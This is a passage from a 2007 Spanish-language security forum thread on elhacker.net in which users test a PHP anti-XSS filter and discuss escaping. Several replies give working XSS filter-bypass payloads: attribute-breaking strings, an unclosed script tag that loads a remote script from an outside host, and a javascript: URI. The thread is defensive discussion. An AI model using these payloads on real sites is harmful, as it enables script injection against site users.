elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking (Moderador: toxeek)
| | |-+  Código PHP AntiXSS
0 Usuarios y 2 Visitantes están viendo este tema.
Páginas: 1 [2] 3 4 5 Ir Abajo Respuesta Imprimir
Autor Tema: Código PHP AntiXSS  (Leído 27,519 veces)
born2kill

Desconectado Desconectado

Mensajes: 173


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #10 en: 31 Julio 2007, 03:37 am »

born2kill, cambia tu forma de pensar a no tengo que cometer esos fallos...

Haber, estamos analizando, como parar ataques XSS, o prevenirnos de ellos, esta claro que no se deben cometer esos fallos, pero estar prevenidos no viene mal.

Mi forma de pensar?...  :xD

born2kill:
Código:
(\"|%22).*(\>|%3E|<|%3C).*
supongo que es para prevenir attribute splitting, como en:
Código
  1. <?php
  2. echo "<a href=\"{$_GET['entrada']}\">Link</a>";
  3. ?>
  4.  
se puede saltar simplemente no cerrando el atributo
?a=" onmouseover="alert(/xss/.source)"

Código:
(\<|%3C).*script.*(\>|%3E) 
se salta, igual no cerrando <script.. asi:
Código:
<script src=//sirdarckcat.net/cache_poisoning.js x

Código:
(javascript:).*(\;).*
no pones el ; al final..
Código
  1. javascript:alert("pwned")

Código:
(,|;|<|>|'|`)
la coma la puedes no usar llamando funciones desde funcion.apply, los ; puedes no usarlos, los "<" y ">" si los quitas, entonces para que son las primeras 2 reglas? XD, y las comillas, para ataques de XSS no son necesarias, puedes usar /texto/.source
Saludos!!

Mhh.... Me dejaste pensando, bueno evidentemente solamente podriamos para ataques básico, tengo que encontrar alguna forma de mejorarlo.



La lista que publicaste esta bien interesante.
En línea

sirdarckcat
Aspirante a supervillano
Colaborador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #11 en: 31 Julio 2007, 03:39 am »

19.5: si sabes en que contextos se pueden usar los valores "codificados" de <?
solo cuando de lado del servidor se decodifica el caracter, esos "alias" son validos.. en un vector "normal", no se pueden usar.

El filtro de quickwired esta bastante bien, detiene muchos vectores.. habria que analizarlo con tiempo, para ver si se le escapo algo :P

Saludos!!
En línea

<?BRoWLi?>

Desconectado Desconectado

Mensajes: 109


Kien mira por ti?


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #12 en: 31 Julio 2007, 03:57 am »

cifrando los tags <> => &lt;&gt;, se solventa el problema  :rolleyes:
En línea

Si TRaTaS D SeR JusTo SoLo Es JuSTo EL CoRaZóN, LoS DeMaS OrGaNoS TRaTaRaN De KiTaRLe La RaZoN - DobleV
Piratas.com.es
sirdarckcat
Aspirante a supervillano
Colaborador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #13 en: 31 Julio 2007, 04:53 am »

no siempre xD, los attribute breaking, no usan los tags < y > :P

Saludos!!
En línea

<?BRoWLi?>

Desconectado Desconectado

Mensajes: 109


Kien mira por ti?


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #14 en: 31 Julio 2007, 05:15 am »

Por el nombre será romper un atributo para meter otro, por ejemplo " onclick="javascript..., si es así bueno yo contaba con que ya se escapan las comillas simples y dobles, yo tengo el gpc ON y lo doy por echo siempre xD, si ese termino no tiene nada que ver con eso, me vendría de lujo una aclaración gracias!!  :D :D

Un saludo!!
En línea

Si TRaTaS D SeR JusTo SoLo Es JuSTo EL CoRaZóN, LoS DeMaS OrGaNoS TRaTaRaN De KiTaRLe La RaZoN - DobleV
Piratas.com.es
sirdarckcat
Aspirante a supervillano
Colaborador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #15 en: 31 Julio 2007, 05:20 am »

:P las GPC no sirven para eso.. un ejemplo muy sencillo..

1.- Recibes link = [ http://m" onclick="javascript ]
2.- Lo guardas en base de datos..
INSERT blah DATA ('http://m\" onclick=\"javascript')
3.- En otra pagina, lo imprimes, y salen las comillas sin los \ :P

Saludos!!
En línea

<?BRoWLi?>

Desconectado Desconectado

Mensajes: 109


Kien mira por ti?


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #16 en: 31 Julio 2007, 05:41 am »

No entiendo :P, yo hablaba de insertar el código (" onclick="javascript()...) en un input por ejemplo un buscador, no te dejaría acabar el atributo value del input ya que procesa la comilla doble antes de interpretarla.

Por ejemplo quedaría algo asi como:

Código:
<input type="text" value="\" atributo=\"loquesea\"">

en caso de no añador los slashes, rompería el atributo... Por otra parte si subes las comillas escapadas a una base de datos, al imprimirla es como si nunca hubieses escapado las comillas porque se procesan dos veces, para eso \\\", esto por ejemplo a la hora de imprimir imprimiría solo una comilla "... pero \\\\\", esto imprimiría \"...

Te digo que nunca oí eso de attribute breaking, solo lo e intentado deducir, por si se me va el santo al cielo xDDD
En línea

Si TRaTaS D SeR JusTo SoLo Es JuSTo EL CoRaZóN, LoS DeMaS OrGaNoS TRaTaRaN De KiTaRLe La RaZoN - DobleV
Piratas.com.es
sirdarckcat
Aspirante a supervillano
Colaborador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #17 en: 31 Julio 2007, 07:18 am »

Citar
en caso de no añador los slashes, rompería el atributo... Por otra parte si subes las comillas escapadas a una base de datos, al imprimirla es como si nunca hubieses escapado las comillas porque se procesan dos veces, para eso \\\", esto por ejemplo a la hora de imprimir imprimiría solo una comilla "... pero \\\\\", esto imprimiría \"...
Las magic quotes no escapan las cosas 2 veces jajajaja

Y en un buscador, con "GPC" on.. hay bug.. \" no detiene el atribute breaking..

-->Link enviado por MP<--

codigo fuente:
Código:
<input type=text name=q style="width: 166px" value="\" esto-es-un-atributo">
como puedes ver, el codigo DOM generado es:
Código:
<input name="q" style="width: 166px;" value="\" esto-es-un-atributo="" type="text">

Es decir, filtrar con slashes en codigo HTML no sirve de nada ;)

Saludos!!
« Última modificación: 31 Julio 2007, 07:28 am por Sirdarckcat » En línea

<?BRoWLi?>

Desconectado Desconectado

Mensajes: 109


Kien mira por ti?


Ver Perfil WWW
Re: Código PHP AntiXSS
« Respuesta #18 en: 31 Julio 2007, 16:58 pm »

Citar
Las magic quotes no escapan las cosas 2 veces jajajaja

Me refiero a imprimir \"... en mi pag por ejemplo tengo todos los datos en una base de datos, y esos datos los subo apartir de un archivo especie instalador, donde antes de subir procesa las magic quotes, \" es = a ", \\\" es = a " tambien, porque en realidad el procesado es doble al subir y al imprimir, por eso es que se escribe \\\\\", el primer filtrado es igual a \\\" y el segundo, es decir la descarga desde la base de datos y la impresión de los datos es igual a \", no que las magic quotes escapen nada dos veces, sino que son procesadas dos veces.

EDITO: si imprimes el texto a buscar despues de introducirlo en el buscador, cierto! rompe el atributo aun con el addslashes! muchas gracias por el dato tio!!

En tal caso:

1. No imprimir el dato a buscar en el input
2. htmlentities
3. <>" = &lt;&gt;&quot;

No se si con la tercera me equivoco.

un saludo!!
« Última modificación: 31 Julio 2007, 17:48 pm por BRoWLi » En línea

Si TRaTaS D SeR JusTo SoLo Es JuSTo EL CoRaZóN, LoS DeMaS OrGaNoS TRaTaRaN De KiTaRLe La RaZoN - DobleV
Piratas.com.es
19.5

Desconectado Desconectado

Mensajes: 67


Ver Perfil
Re: Código PHP AntiXSS
« Respuesta #19 en: 1 Agosto 2007, 02:03 am »

A ver A ver... Eso se esta desviando un poco...
Me parecio interesante que en una misma página se pueda probar una función cómo la que hay en esta página:

http://quickwired.com/smallprojects/php_xss_filter_function.php

Podríamos, como dice Sirdarckcat, "ver" si algo se le escapó.
Además, hay muchas páginas que muestran variadas formas de hacer un XSS. De verdad eso tiene mucho que hablar.
Estadísticas dicen que 8 de cada 10 sufren de este tipo de ataques...
En línea

Páginas: 1 [2] 3 4 5 Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines